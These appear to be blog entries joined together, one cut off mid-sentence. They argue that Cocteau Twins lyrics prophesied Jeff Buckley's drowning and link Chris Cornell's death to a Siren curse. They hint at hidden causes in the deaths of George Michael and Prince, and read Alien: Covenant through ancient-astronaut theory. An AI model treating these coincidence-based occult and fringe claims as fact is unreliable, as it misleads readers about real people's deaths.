There's even an A in there, if you want to get anagrammatic. And an 'Odic' too. If you really want to get obsessive you can make the p silent (as in Pfeiffer).

Tim Buckley, who never actually knew his son, died of an OD in 1975 at the age of 27. But already the prophecy machine seemed to have hummed to life.

 It'll End in Tears including
'Song to the Siren'

A PROPHECY

And just so we're clear on all this, I'm by no means the only person who gets how eerie this whole situation is, even if I was probably one of the first outside of the inner circle of people involved to do so. Even The Guardian has caught on:
(Tim) Buckley's eerie original is backed by stark waves of guitar and occasional high-pitched "siren" wails (is it his voice? An extremely flanged guitar?), and his five-octave-spanning tenor – "the closest thing to flying without taking acid or getting on a plane," Watts-Russell reckons. 
But Fraser's version suggested she was the siren of Homer's Odyssey personified, luring lovers to a premature grave
Sinead O'Connor, who was heavily influenced by Elizabeth Fraser, frames the story quite well here:
"I didn't know Buckley hadn't written the words," O'Connor says, "but I always felt there was a prophecy of death in that song." It's apparently the reason Fraser won't discuss the song (an interview request was ignored). Tim Buckley's son Jeff wrote to her when he heard the This Mortal Coil cover and, a couple of years before he drowned, aged 30, in 1997, they had a relationship.
The Financial Times also suggestively dropped that tragedy onto the last paragraph of their piece on 'Song to the Siren', but also noted the TMC/Cocteau Twins' version was so influential, that subsequent versions have mostly been covers of them:
Their reading set the template for those that were to follow — drifty, druggy, drenched in reverb, a perfect setting for lyrics such as “Did I dream you dreamed about me?"
And it so transpires that there are lot of well-known fans of Fraser's interpretation (including superstar directors Peter Jackson and David Lynch):
In 2002, Robert Plant covered it on his Dreamland album, garnished with his characteristic “oh-ohs”. In 2007, George Michael opened his gig at the new Wembley stadium by singing “Siren” from offstage (he later released it as a single)…Sinéad O’Connor’s 2010 version is heavily indebted to This Mortal Coil’s mystic-Celticism.


Indeed, George Michael - Greek by origin- did his level best to reproduce- note for note- Elizabeth Fraser's version of the song. At what was one of the biggest gigs of his career.

Of course, Michael himself recently died under circumstances that don't seem entirely transparent. There was a lot of mystery surrounding his passing, even if it was subsequently declared to be from natural causes. But Michael wasn't the only pop superstar to worship the Twins:
Madonna loved them, Prince wanted to sign them and Scritti Politti's Green Gartside said the vocally gymnastic Fraser was his third favourite melodicist of all time (behind Paul McCartney and Brian Wilson).
You can throw in Peter Gabriel and Boy George as well (George once said Fraser was his favorite singer). And yes, Prince was indeed a major Cocteau Twins fan.
Tictactoe is the tenth track on Prince's 36th album Plectrumelectrum (the first by Prince and 3rdEyeGirl). It is likely the track was recorded in February 2014.  
The magazine quotes Prince describing the recording of the track: “We recorded it in Bryan Ferry’s studio Studio One in London, after a night of partying for which the Cocteau Twins was the soundtrack. You can’t understand the words of Cocteau Twins songs but their harmonies put you in a dreamlike state.” 
Prince also died recently, at too young an age. Under circumstances that have inspired terrabytes of Internet speculation.



When the Levee Breaks, originally recorded 
by "Hoodoo Lady" Memphis Minnie

ENTER THELEMA

And just to add more fuel to the occult fire we have the Led Zeppelin connection to all of this. 

As you know, both Jeff Buckley and his best friend Chris Cornell sang Led Zeppelin tunes (or more accurately, blues standards commonly associated with Led Zep) shortly before they died. And Zeppelin's personal connections to Buckley are well-recorded:
One man who loved Grace was Jimmy Page. There was arguably no-one whose opinion Buckley valued more. He’d sung Zeppelin songs at Sin-é…One might even say there was a transference of Zeppelin energy taking place, a blessing or endorsement from afar, from the older men to the young. When Page and Buckley met, it was clear they understood each other on a profound level. 
“Jeff told me they cried,” says Chris Dowd. “They actually cried when they met each other. Jimmy heard himself in Jeff, and Jeff was meeting his idol. Jimmy Page was the godfather of Jeff’s music. A lot of people thought Tim was the influence on Jeff, but it was really Zeppelin. 
Less known is Led Zeppelin's connection to the Cocteau Twins- Robert Plant was/is a major devotee, saying in one interview "I wanted to be the Cocteau Twins". Then there's this, from a Twins interview:
Robert Plant went through a phase of raving about them in every interview he did. Liz doesn't tell me about the time she introduced herself to him, but Robin does. They had gone to see Echo & the Bunnymen. Liz, who was a little tipsy, spotted Robert Plant at the bar and tapped him on the shoulder. 
"Excuse me," she said. "I read that you really like the Cocteau Twins.""Yeah," the mousy-maned ex-sex god grunted. "I like them. Do you like them?"Mortified, she muttered her assent and slunk away.
According to another telling what she actually said is, "they're OK, I guess." Which is absolutely adorable.


EXHIBIT ONE: GARLANDS LYRICS SLEEVE

The lyrical swatches printed on the inner sleeve of the Cocteaux' 1982 debut album Garlands are tantalizing, and the band's official bio lists them in an interesting order. See this post for more information on Garlands.

And again, Jeff Buckley died on Garland Day.

First we have a quarrel with a lover, peppered with threats of violence.
"My mouthing at you; My tongue the stake; I should welt should I hold you; I should gash should I kiss you..." (Blind Dumb Deaf)

Things get a bit darker next- a song about blood sacrifice.
"Things from the forest die here, but I don't; Dead forest things are offered here, but I'm not...." (But I'm Not)

Then death on a river. Bear in mind the person who wrote these remarkable lyrics was only 18 years old:

"The then shallow she Earth as we know it; The then hallow she a sky for the sacred; Stars in my eyes; stars at my feet; womb in the belly; capital place..." (Shallow Then Halo)

As mentioned before, Memphis was the capital of Egypt's lower kingdom. And Jeff Buckley was swimming in shallow waters when he drowned (the deepest point of the Wolf River Harbor is only nine feet deep).

Next we have drugs, religion and death. 
"Garlands evergreen; forget-me-not wreaths; chaplets see me drugged; I could die in the rosary...." (Garlands)

Then this:
"Grail overfloweth, there is rain; and there's saliva and there's you...." (Grail Overfloweth)

As detailed before, we have two Buckley connections here, both to the rain during the search the night he disappeared and to the Grail-inspired "Corpus Christi Song" on Grace.

Now, returning to 'Shallow then Halo' we see wings and feathers connected to the river. We also see the mention of fertile soil.
Winged water
Feathered river
Dirty rich soil
Strong and fertile

What's the significance of wings and feathers to a river? Well, considering this is the Mississippi, perhaps we need to look at the Mississippi state seal for a clue.


Ahh. Dream-logic at work.

Then the soil:
At Cairo, Illinois, the Ohio River flows into the Mississippi, doubling its volume and creating the point that divides the Upper Mississippi from the Lower Mississippi. The Lower Mississippi Valley is a wide and fertile region… As it flows in this southern region, the Mississippi deposits rich silt along its banks.
Now this odd use of she:


"The then shallow she Earth as we know it; 
The then hallow she a sky for the sacred"

Wouldn't you just know it, the word sidhe is pronounced "she." In the context of the lyrics here it just happens that sidhe makes a lot more sense than she. 

Try this: "the then-shallow sidhe" (a spirit in shallow waters) and the "the then-hallow sidhe" (a spirit honored as sacred, re:"a sky for the sacred").

 If you didn't catch the update on the Chris Cornell post, here's the lowdown on one of the Siren's Celtic cousins:
In Celtic folklore, the leannán sí "Fairy-Lover" ...is a beautiful woman of the Aos Sí …who takes a human lover. 
Lovers of the leannán sídhe are said to live brief, though highly inspired, lives.   
The leannán sídhe is generally depicted as a beautiful muse who offers inspiration to an artist in exchange for their love and devotion; however, this frequently results in madness for the artist, as well as premature death.
She also granted the power of prophecy.

The leannán sídhe is related to the more well-known Banshee. 
But only certain families of historic lineage, or persons gifted with music and song, are attended by this spirit; for music and poetry are fairy gifts, and the possessors of them show kinship to the spirit race—therefore they are watched over by the spirit of life, which is prophecy and inspiration; and by the spirit of doom, which is the revealer of the secrets of death.
Sometimes the Banshee assumes the form of some sweet singing virgin of the family who died young, and has been given the mission by the invisible powers to become the harbinger of coming doom to her mortal kindred. Or she may be seen at night as a shrouded woman, crouched beneath the trees, lamenting with veiled face; or flying past in the moonlight, crying bitterly...
And Jesus, here's a five-star money-quote if ever I heard one. It basically synopsizes this entire story:
The Banshee even follows the old race across the ocean and to distant lands; for space and time offer no hindrance to the mystic power which is selected and appointed to bear the prophecy of death to a family.  
Which would probably be a good time to drop this old bit of snarkery on you:
All you need to know about the Cocteau Twins is that they make Siouxsie and the Banshees records, OK? -- Melody Maker 10/16/82
Of course, the wild howling of early Cocteaux is more akin to the Banshee myth than Siouxsie's rather modest vocal range. But the influence is plainly there (the Scots seemed to be particularly found of the Banshees). Especially in early songs like "Speak No Evil", which offer more hints of that unexpected connection to witchcraft and the occult (bonus factoid: Fraser used to go around in outfits decorated with chicken bones):

My soul I sold
I can't forget to ask
There's nothing movin' it again
Wolf thirst said me

This song is included on the Garlands CD, alongside 'Shallow than Halo'. Note that- again- we have references to both a river in a song about drowning in shallow water and to a wolf in a song about a daemonic pact. 

In that latter line, we also have a suggestion of death and a connection to water ("wolf thirst"). And just to remind anyone new to this conversation here:
Making a stop at the Wolf River channel of the Mississippi River, a fully clothed Buckley waded into the water and began swimming. 

Noise Rock-era Twins opening for Killing Joke in 1982 

EXHIBIT TWO: Alas Dies Laughing

On their next release after Garlands (the ironically titled Lullabies EP), we see two more songs whose titles also make semiotic connections between birds and water travel, namely the songs 'Feathers Oar Blades' and 'It's All But an Ark Lark'.  Sandwiched between them is one of the Cocteau Twins' most unsettling songs, 'Alas Dies Laughing', a song the early PiL would have been proud to call their own.

After two attempts at conventional choruses, the song breaks down into a bridge that has (a pre-transformation) Fraser moaning like the Pythia as the fumes rise. After the breakdown, she dispenses with the niceties and lapses into a repetitive chant about exactly how Alas died laughing:

Wake takes a lonely one
Wake takes a lonely one

Wake takes a lonely one

Wake takes a lonely one

Wake takes a lonely one

Wake takes a lonely one

Wake takes a
Wake takes a

Wake takes a

Wake takes a

Wake takes a

Wake takes a 

Jesus. And just to remind everyone again:
The wake of a passing boat sucked Buckley under, and he drowned. His body was recovered six days later, after it was seen by a riverboat passenger.
So sandwiched between two songs that refer to boats (and symbolically connect to the Mississippi via the bird imagery) we have a song about drowning. In a wake. 

Fifteen years before the singer's lost love died that very same way. .

Now is it just me or is this like something out of one of Philip K Dick's most unhinged fever dreams?  This is really just the tip of the iceberg though.




EXHIBIT THREE: It's All But an Ark Lark

Those aren't all the clues to be found on Lullabies. 'Ark Lark' also has some as well.

It's all for my, all for my, all for my
Charisma
Charisma
Charisma 

Charisma- divine gift- originally referred to extraordinary characteristics of the gods. In Christianity, charisma manifests itself in glossolalia and prophetic gifts.

Barking and Biting, on my starsails
Barking and Biting, on my starsails
Barking and Biting, on my starsails
Barking and Biting, on my starsails

We have references to a wolf (yes, wolves do bark) and water travel again.



And oh yeah- 'Song to the Siren' was first recorded for the Tim Buckley album Starsailor.

Wolf. Water. Buckley. Siren. 

Then this:

He's mocking both my lullabies 
Is Mockingbird my lullabies?
Is mocking both my lullabies 
Is Mockingbird my lullabies?



Mockingbirds are the state bird of Tennessee.


These lyrics from 'Feathers Oar Blades' are tantalizing as well.


Here comes the oppressors
Oppress, fallen, weaken
Feathers-oar blades
Spitting their feathers
Spitting out oar blades 
Spitting out oar blades 
Crestfallen
Weaken

There are the feathers and water connected again. That notion of spitting feathers (Mississippi) and oar blades (Wolf River Harbor) is gnawing at my skull as well.



EXHIBIT FOUR: THAT, UH, BAND NAME

The band's next album would be released on Halloween 1983. With original bassist Will Heggie having quit, the duo needed to find a replacement. 
Although Robin and Liz hadn't specifically
          Let Me Drown: Chris Cornell and the Siren (UPDATE)   


As I write this it's twenty years ago to the day that Jeff Buckley's body was fished out of the Mississippi River, where he drowned after being caught in the wake of a passing tug while swimming off Mud Island on May 29th. I had a feeling that something might happen in conjunction with this anniversary.

I just had no idea how momentous it would be.

Chris Cornell, who died around midnight May 18th, was very close to Buckley. So much so that he became a de facto curator of Buckley's legacy, acting as his spokesman as well as overseeing and promoting some of Buckley's various posthumous reissues. 

It's entirely possible that the upcoming anniversary was weighing heavily on Cornell's mind and could very well have contributed to the depression that led to his death. Cornell had a combination of drugs (including lorezepam, barbiturates and naloxone) in his system leading some to believe his death was accidental. But it's just as likely he was anesthetizing himself in anticipation of his final act.


Of course, Buckley wasn't the first singer to die with whom Cornell shared a close bond. Late in 2016 Cornell toured with Temple of the Dog, the supergroup he formed to pay tribute to Andrew Wood, with whom Cornell had a formed a close and intense bond. That Wood's death still haunted Cornell was made clear in an interview given while touring with TOTD:
“With all that’s been written about Temple of the Dog recently, it’s reminded me of the original meanings of those songs. Say Hello 2 Heaven, for example, was one of the songs I wrote directly for Andy Wood and the amount of times someone has requested I play that song for someone else who’s died have been numerous. 
That’s great that it’s become this anthem that makes somebody feel some comfort when they’ve lost someone, but recently I’ve become a little more possessive of the idea that this song was actually written for a specific guy and I haven’t forgotten that person. So I’ve been reminding myself and those in the audience where that song came from.”
“I don’t know if you can ever take him out of [my heart and soul].”
Seven years later he'd lose Buckley, who became his confidant while the two wrestled with the pressures of fame. Buckley idolized Cornell and the two spent a lot of time talking on the phone while on tour. These talks were so important to Cornell that he'd take Buckley's old telephone onstage with him during his solo tours.
In 2011 Cornell started turning up on stage to do solo shows with his red phone on a stool next to him. People would shout out what’s the phone for, one day he came clear and said Jeff’s mum gave it to him, Jeff owned that phone and he put it on stage hoping Jeff might call one night.”


Buckley had a lot in common with Andrew Wood- more than a bit androgynous, prolific, eclectic, magnetic. Buckley would heavily influence Cornell's solo career, and the former Soundgarden singer even adopted a weird adaptation of Buckley's hairstyle while promoting his first album Euphoria Morning, which featured a tribute to Buckley that saw Cornell channeling his late friend.

SEA, SWALLOW ME

Some have speculated if Buckley's own death was suicide but he often liked to swim in the Wolf River on hot days. He was swimming there with a friend while waiting for his band members to arrive at the Memphis airport. Apparently this kind of behavior was typical for Buckley. A friend said:
“The guy just made a big mistake — put some Led Zep on I’m going to go for a swim, I’ve got my Doc Martens on, what a great idea. He’d actually gone swimming on the Gold Coast with his girlfriend Joan (Wasser) the year before he died. His tour manager John Pope said to me everyone talks about him dying in the river in Memphis but we had to go and pluck him out of the surf. It’s not suicidal, it’s recklessness. That’s how he lived his live from what I could tell. He might have slowed down in his 30s if he made it.”
The Wolf River was once a popular swimming spot but as with Buckley its placid surface disguised a powerful current that led to drowning deaths:
All too often, those tranquil waters proved dangerous, however. More than one child drowned in the swiftly flowing stream, and in the 1950s, when yet another child — a young boy named Ronnie Jones — died there, city leaders decided enough was enough. Funds were raised to build a public swimming pool in Gaisman Park, so the children in North Memphis could have a safer place to play. 
As I've written about extensively, Buckley's death was the last act of a real-time Mystery Play, in which the gifted young singer found himself messing around with forces he didn't quite understand.
There's something else at play, some poetic -or mythic- ending, beneath the exoteric narrative. Something floating around the Symbolic Realm. I can just see it in Euripides and Aeschylus. 
It goes like this: A beautiful and talented young troubadour gets drunk on his own charisma and thoughtlessly toys with a delicate soul who is playing host to something that crossed over from the Other Side. Two thousand years ago, the omens and portents would have been recognized by everyone, from old women to schoolchildren. 
They would have warned him- don't break the Siren's heart.

SHE WILL DESTROY YOU



Indeed, Buckley's fatal error was to toy with the tender heart of Elizabeth Fraser, who had a hit with a cover of Buckley's father's "Song to the Siren." Buckley idolized Fraser and pursued her while she was on tour for the Cocteau Twins' album Four Calendar Cafe. The two enjoyed a brief but powerful affair, which also came when Fraser was at her most emotionally fragile and least able to manage the strange force possessing her.

But Buckley, young rock god, wasn't interested in anything serious:
Buckley had a reputation as a lover man, DNA from his body was kept in case of future paternity cases. 
“He liked the ladies, the ladies liked him. When people’s stars begin to rise there’s a lot of people attracted to them, like moths to a flame, Jeff was like that. At one of his memorial services all these crying women going ‘Oh, you too?’ He had relationships with a lot of ladies over a short period of time. Not just sexual, but close personal friendships. Some didn’t know each other. He squeezed a lot into 30 years and specifically into the last five or six years of his life. Once he got to New York for the tribute to his father, which is where his career started, it was non stop until the time of his death.”
Buckley might have been racking up conquests but Fraser had other ideas. She wrote a number of raw-wound songs about him and even produced a painfully-imploring shortform video addressed to him called Rilkean Dreams shortly after their split. 

It would carry a chilling foreshadowing:
A short film called Rilkean Dreams (Fraser compared Buckley to the poet Rilke) was made in 1994 as a promo for the EP, named after the heart-rending "Rilkean Heart." It's hardly a promo as much as it is a nakedly confessional video love-letter to Buckley, with Fraser explicitly apologizing in song for being too needy and clingy here and then accusing Buckley of being selfish and immature there. But it's the symbolism that gets you. 
The opening shot of Rilkean Dreams is of a slowly rushing river 
Followed by a sunset.  
If ever there was an argument for teaching the art of divining omens and portents in school, that's pretty much it.
Fraser would receive news of Buckley's death at a pivotal time:
The news that Buckley had disappeared – he drowned, swimming in the Wolf river in Memphis – came while Fraser was recording Teardrop with Massive Attack. "That was so weird," she says. "I'd got letters out and I was thinking about him. That song's kind of about him – that's how it feels to me anyway."
The death devastated Fraser and the Cocteau Twins split not long after, seemingly exorcising Fraser and sending her into a semi-retirement ever since. In a bizarre twist, her first solo record would be called 'Underwater.'

And then there's this:
 It seems she (Fraser) is haunted by guilt: for not being there for Buckley, for everything. As she puts it: "I need to forgive myself."
What an odd turn of phrase.

As I detailed in previous posts on this frankly bizarre story, Fraser's discography is rife with startling premonitions of this archetypal drama. Discussing the Cocteau Twins' seminal album Heaven or Las Vegas, we see this:
Omens ignored: OK, here's where this story gets insane. 
The 8th and 9th songs on this album are 'Wolf in the Breast' and the almost unbearably mournful 'Road, River and Rail'.  
Jeff Buckley drowned in the Wolf River in Memphis, which runs parallel to a railroad and is crossed by Interstate 40. 

The Wolf River is on the 89th Meridian West.

The neighborhood at the end of the Wolf River is named Frayser.
Further a reader informed me that the spot where Buckley entered the Wolf River was near the Bayou Gayoso. Fraser also sings the lyric "from out of the bayou" in 'Road, River and Rail.'

Why is any of this relevant? Well, Fraser is an interesting woman. The lyrics to the first Cocteau Twins album (Garlands, 1982) are absolutely soaked in the iconography of witchcraft and the occult. 

Not to mention a song about a river called "Shallow then Halo." As in you're in shallow water (like Buckley actually was) and then you drown.  

In 1982

Fifteen years before Buckley's death.

And soon after Fraser underwent a somewhat startling transformation:


The lyrics to Garlands speak to a more-than-casual familiarity with witchcraft on someone's part, presumably Fraser's. In that context, it should be noted that the singer underwent a rather stunning metamorphosis from 1982 to 1983. 
Her appearance, her wardrobe, her voice, her lyrical style, and her comportment all underwent a radical change. Gone were the punk togs; the provocative leather minis, fishnet stockings and high-heeled boots and in their place were billowy, neo-Victorian frocks (Fraser always wore long sleeves to hide her tattoos). Her lyrics began evolving towards the near-total glossolalia of Treasure, though the lyrics on Head Over Heels still retain the violence and menace of Garlands. 
Even allowing for the effect of makeup, her face (most noticably, her irises) seemed to change- she looked like an entirely new person. You can see it in the live videos as well, where lighting and makeup have less power to disguise (or did back then).
Those are some Thomas Jerome Newton looking eyes

Remarkably, Fraser herself* said she believed she was channeling another force or entity in a 1984 interview. She also claimed her music "wrote itself " (shades of 'Stairway to Heaven'). 

And you know what? I believe her. Without question. Everyone seemed to sense it at the time.

ALL MY FRIENDS ARE INDIANS

Now what does any of this have to do with Chris Cornell, aside from his shared association with Jeff Buckley?

Well, just like all the Siren symbolism that connects to Jeff Buckley's death, it just so happens that Chris Cornell died just minutes away from the location of a very similar legend:
The Indian demi-god, Sleeping Bear, had a daughter so beautiful that he kept her out of the sight of men in a covered boat that swung on Detroit River, tied to a tree on shore; but the Winds, having seen her when her father had visited her with food, contended so fiercely to possess her that the little cable was snapped and the boat danced on to the keeper of the water-gates, who lived at the outlet of Lake Huron. 
The keeper, filled with admiration for the girl's beauty, claimed the boat and its charming freight, but he had barely received her into his lodge when the angry Winds fell upon him, buffeting him so sorely that he died, and was buried on Peach Island (properly Isle au Peche), where his spirit remained for generations—an oracle sought by Indians before emprise in war. 
His voice had the sound of wind among the reeds, and its meanings could not be told except by those who had prepared themselves by fasting and meditation to receive them. Before planning his campaign against the English, Pontiac fasted here for seven days to "clear his ear" and hear the wisdom of the sighing voice. 
But the Winds were not satisfied with the slaying of the keeper. They tore away his meadows and swept them out as islands. They smashed the damsel's boat and the little bark became Belle Isle. Here Manitou placed the girl, and set a girdle of vicious snakes around the shore to guard her and to put a stop to further contests. These islands in the straits seem to have been favorite places of exile and theatres of transformation.  
Myths and Legends of our Own Land, by Charles M. Skinner (1896)
So we have a variation on the Siren/Lorelei myth here, right near the Fox Theater. 

Jesus. What are the odds?

• We have a victim known for his powerful voice. Right near the Fox Theater.

• We have glossolalia as we have with Elizabeth Fraser.

• We also have a "girdle of vicious snakes." On the last Cocteau Twins album Fraser sings of a "Serpentskirt." 

Fraser posed naked for the cover of that album, which featured a number of songs written about Jeff Buckley (Fraser was clearly still smitten, as this performance indicates) , dedicating "Love and a Thousandfold Rose" to him.  Buckley answered her with the song "Thousandfold", written in Memphis. It included the line "Long time ago I'd died and gone."

• Like Mud Island, Belle Isle is located in a river off a major city. 

• 'Road, River and Rail' not only mentions the bayous but also namedrops the Isle de la Cite in Paris. Both Memphis and Detroit trace their establishment to French colonists. 




• And Jesus, I don't even know how to say it- OK, try this: CHRIS CORNELL RECORDED A SONG CALLED 'THE KEEPER'. In it he sings, "I am the keeper."

Are you getting all this now?


Strangely, Chris Cornell is credited as the author on several different lyric sites of 'Siren Song', written by Cocteau superfan Robert Smith. The lyrics are clearly inspired by Tim Buckley's 'Song to the Siren' and reference "crystal eyes." It also includes the couplet "She sang "Give me your life or I must fly away/And you will never hear this song again."

What's likely is that Cornell covered the song during a concert (Temple of the Dog covered the Cure's 'Fascination Street') and it was mistakenly credited to him by fans. The synchronicity of it all (not to mention "Let Me Drown") and how it seemed to ensnare him is par for the course in the apparently still-unfolding drama of the Siren. 

UPDATE: Now this is going from insane to downright arcane. We saw the juxtaposition of 'Wolf in the Breast' and 'Road, River and Rail' acting as a prophecy of Jeff Buckley's death on the Wolf River. A body of water which- again- terminates at a place called Frayser. We saw the deeply disturbing premonitions- the river and underwater footage running throughout Fraser's heartbroken petitions to Buckley- in Rilkean Dreams. 

And of course the title itself could be interpreted as a reference to the water of the Wolf River in the lungs.

But there's a little detail I overlooked- the lyrics to 'Wolf in the Breast', at least some of which are in English. Now you have to be careful with the lyrics posted on the Internet- they're nearly all guesswork by fans and don't bear any relation to what Fraser actually wrote

That being said, a phrase recognizably repeated throughout is "I'll revenge all I need that day." 

Mind you, this is a song that seems mostly concerned with taking care of a baby.

Now of course, Fraser herself was never consciously aware of this. She hadn't even met Jeff Buckley at this time. But by her own admission she wasn't always in control of the songwriting process, that the songs often wrote themselves. Who may have assisted in this process then? I guess we'll never know.

But given the Celtic extraction of the main players in the drama it's worth looking into the myth of the Leanán Sidhe: 

In Celtic folklore, the leannán sí "Fairy-Lover"[1] (Scottish Gaelic: leannan sìth, Manx: lhiannan shee; [lʲan̴̪-an ˈʃiː]) is a beautiful woman of the Aos Sí ("people of the barrows") who takes a human lover. Lovers of the leannán sídhe are said to live brief, though highly inspired, lives.   
The leannán sídhe is generally depicted as a beautiful muse who offers inspiration to an artist in exchange for their love and devotion; however, this frequently results in madness for the artist, as well as premature death.
Like the Siren, the Leanán Sidhe is said to live at the bottom of the ocean.

UPDATE: It should also be kept in mind that Fraser was recording "Teardrop" with Massive Attack when Buckley died, a song she wrote about their breakup. The lyrics include lines about "black flowers blossom," a common symbol for death.


UPDATE: A Jesus Christ Pose in Detroit? Soundboard recording of Wolf in the Breastfrom 1990. Uploaded in 2015.

UPDATE: Our Gordon reminds us that Memphis- Egypt- literally had a Temple of the Dog, ie., Anubis.

*Fraser was studying Theosophy and Anthrosophy in 2012 at Emerson College, Sussex.

Again, David Lynch tried to license Elizabeth Fraser's version of 'Song to the Siren' for Blue Velvet but was unable to. He later used it in Lost Highway.


          The Covenant and the Cargo Cult: Concluded   


PART ONE | PART TWO | PART THREE

Let's get this out of the way first - SPOILERS! Then this: Alien: Covenant is not a very good movie. 

It's not offensively terrible, in fact it goes out of its way to be as inoffensive as possible. Even the gore seems polite. 

I'd give you a synopsis but you can just as easily take all your favorite scenes from the Alien franchise, arrange them however you please, add in a cartoon villain whose motivations are entirely incomprehensible and then go fix yourself up some Jiffy Pop.

Alien: Covenant goes to great lengths to piss away the entire ontology proposed in the film it's meant to act as a sequel to, ostensibly annihilating the god-like Engineer race in a blink-and-you'll-miss-it CGI eruption that has all the heft and drama of a 80s video game. 

But at the same time it seems to tell a story beneath the surface narrative. And a lot of its riffs will be well familiar to anyone versed in Ancient Astronaut Theory. Which, let's face it, was arguably extraneous to the running plot of Prometheus (space mission finds remains of alien race mixed up with the xenomorph progenitors).

As Gordon and I discussed, it also feels like it meant to originally serve as the advance guard for a new AAT media blitz*, a plan that appears to have been scuttled in the wake of Hurricane Trump and the resultant cold (for the time being) civil war the country has been plunged into. 

I've never seen divide-and-rule politics as divisive as what we're seeing today, with the ostensible goal being to atomize the population into impotent, squabbling subsects in order to preempt any potential challenge to oligarchal rule, even if the oligarchy itself is itself carved up into mutually antagonistic camps. (I should mention here that this whole program seems to have fired up in the wake of the Occupy movements).

Of course there's also the fact that the easiest social grouping (tribe, country, empire, etc) to conquer is one that's divided against itself. 

Just saying.

But even this miserable turn of events seems to resonate with the AAT perspective as well, specifically the "gods at war" subplot running through Zecharia Sitchin's bibliography, as well as some of the theorizing emerging on the fringe science circuit.

Now, there's a strand of thinking among those who wrestle with the Fermi Paradox, essentially arguing that high technology is inherently anti-adaptive and inevitably leads to self-destruction. 

What this theory essentially proposes is that we've not had any (acknowledged) contact with extraterrestrial races because they've all been wiped out by their own advanced technology (read: 'weaponry'). This of course is a wildly egocentric assumption ("extraterrestrial races are all as savage and murderous as we are") and automatically presumes that our own high technology is not in fact some kind of alien intrusion, even if it behaves every bit like one.

I bring this up because there are two running themes in Alien: Covenant I do want to unpack, because they do (obliquely) reference some of the basic tenets of AAT (the film seems to keep a lot of its AAT on the DL).

First off is David's genocide of the Engineer planet. This was a fairly ridiculous subplot, essentially chucking everything we were told about these beings in the first film. This is a billions year-old race that seeded all life on Earth and yet they're all defeated by a lone android who had hijacked one of their spacecraft? Huh?

Wouldn't they naturally have some kind of defense infrastructure that would have intercepted this ship before it ever reached orbit? There's no attempt at following the story's own internal logic.

Now there are all kinds of ways you could have made sense of this. The Engineers had degenerated over the millennia and lost their high technology, that they'd become so drunk on their own power that they never expected any exterior challenge, etc etc etc. But the film makes absolutely no attempt to sell any of that.

But by the same token there's a fascinating allegory at work here, even if it's unintentional, and that ties back to the war of the gods theme running through a lot of AAT theorizing. 

Note that the Engineers aren't decked up in their Gigeresque finery in the apocalypse scene but look more like the kind of quasi-Medievals familiar to space fantasy fans. They also look pretty stupid gazing up at the approaching ship like the hapless New Agers in Mars Attacks. 



But were they in fact the Engineers? Some fans don't seem to think so.

A closer look at the (humanoid) aliens in the film may suggest that this in fact was another descendant race, the clue being the skintone (matte and pinkish as opposed to chalky white and moderately reflective). They also don't seem quite as black-eyed. Another clue is their reaction to the ship, arguably suggesting these people were expecting their gods to return.

MARS, ATTACKED

Is this a fakeout or a reference to another covert subplot altogether? It's possible there was a revelation that this was just a descendant race in the original script but that all got lost in the rewriting process. 

Perhaps David's apparent plan to kill off the human colonists- who are both his progenitors and another descendant race- are the clue here. Either way, the story (mankind's cousins wiped out by a space invader) ties in pretty neatly with the theories put forth by plasma physicist Dr. John Brandenburg:
"Dr. Brandenburg has previously theorized that the red color of Mars and the radioactive substances in its soil are the result of a thermonuclear explosion from natural causes. He now says that the “high concentration” of Xenon-129 in the Martian atmosphere and uranium and thorium on the surface are remnants of two unnatural nuclear explosions, most likely triggered by alien invaders. 
"Who were these aliens invading and eventually wiping out? Brandenburg believes Mars once had a climate like Earth and was inhabited by two civilizations – one in a region called Cydonia Mensa and another at Galaxias Chaos. Why these two regions? 
'Analysis of new images from Odyssey, MRO and Mars Express orbiters now show strong evidence of eroded archeological objects at these sites.'
According to Brandenburg, the Martians maintained a high civilization, albeit a non-technological one:
He says Mars once had an Earth-like climate home to animal and plant life, and any intelligent life would have been about as advanced as the ancient Egyptians on Earth.
There's also David's genetic tinkering with the xenomorph genome. As a self-styled god, David here is playing the part suggested by AATheorists, who postulate that the Anunaki went through a series of experiments in creating the modern human genome and eradicated unwanted models while they did so. 

Strangely enough, this also correlates to the AAT-friendly origin myth put forth by the ancient Greek writer Hesiod in his landmark Works and Days. Hesiod, significantly, was apparently deeply influenced by Babylonian literature, the Enuma Elish in particular

And the war of the gods certainly correlates to the Titanomachy, or the wars between the Olympians and their progenitors, the Titans.

So is there an unspoken inference that David is the titular Prometheus, defying the "gods" and shepherding the engineered development of the xenomorph race? In the context of the film itself it's really hard to care one way or the other but it does suggest that there was in fact a lot more meat on the bone in previous drafts of the script.

THEY'RE EVERYWHERE

But it's worth noting that the Alien franchise is not only another example of a major SF property that revolves around AAT it's also an example of a SF franchise onto which AAT was grafted midstream (at the same time it was grafted onto the Predator franchise). 

Some franchises have AAT baked into their genome at conception (Star Trek (more or less), the Space Odyssey series, Battlestar Galactica) but many more seem to have it implanted sometime into their runs (Quatermass, Doctor Who, X-Files, Indiana Jones, Transformers, Jonny Quest, Godzilla, Doom, Halo, Assassin's Creed). 


When the Olympics came to Hollywood

This raises a very simple question: why? Is there in fact a AAT cargo cult at work in the entertainment industry? I mean that sounds ridiculous, right? 

Well, maybe it seems a bit less so when you look at the influence the Nine had on the Star Trek franchise (relaunching on television this year) or the fact that one of the most powerful cults in Hollywood is explicitly AAT-oriented right down to its very core. There's also the Mormon Church, which is at the very least AAT-compatible.

On the other hand, there's also the Brookings Report. 
The report has become noted for one short section entitled "The implications of a discovery of extraterrestrial life", which examines the potential implications of such a discovery on public attitudes and values. The section briefly considers possible public reactions to some possible scenarios for the discovery of extraterrestrial life, stressing a need for further research in this area. It recommends continuing studies to determine the likely social impact of such a discovery and its effects on public attitudes…" 
One detail that caught the eye of researchers like Richard Hoagland is the mention of possible artifacts discovered on our neighbors, artifacts that might call our entire view of our planet and our very existence into question.
"While face-to-face meetings with it will not occur within the next twenty years (unless its technology is more advanced than ours, qualifying it to visit Earth), artifacts left at some point in time by these life forms might possibly be discovered through our space activities on the Moon, Mars, or Venus." 
And then there's this passage, which basically explains why so many STEM types are so deeply wounded by AAT:
"It has been speculated that, of all groups, scientists and engineers might be the most devastated by the discovery of relatively superior creatures, since these professions are most clearly associated with the mastery of nature, rather than with the understanding and expression of man. Advanced understanding of nature might vitiate all our theories at the very least, if not also require a culture and perhaps a brain inaccessible to Earth scientists."  
Huh.

And the money quote: suggestions for how that eventuality- or some kind of alien contact- might be managed by the Managers.
Continuing studies to determine emotional and intellectual understanding and attitudes -- and successive alterations of them if any -- regarding the possibility and consequences of discovering intelligent extraterrestrial life. 
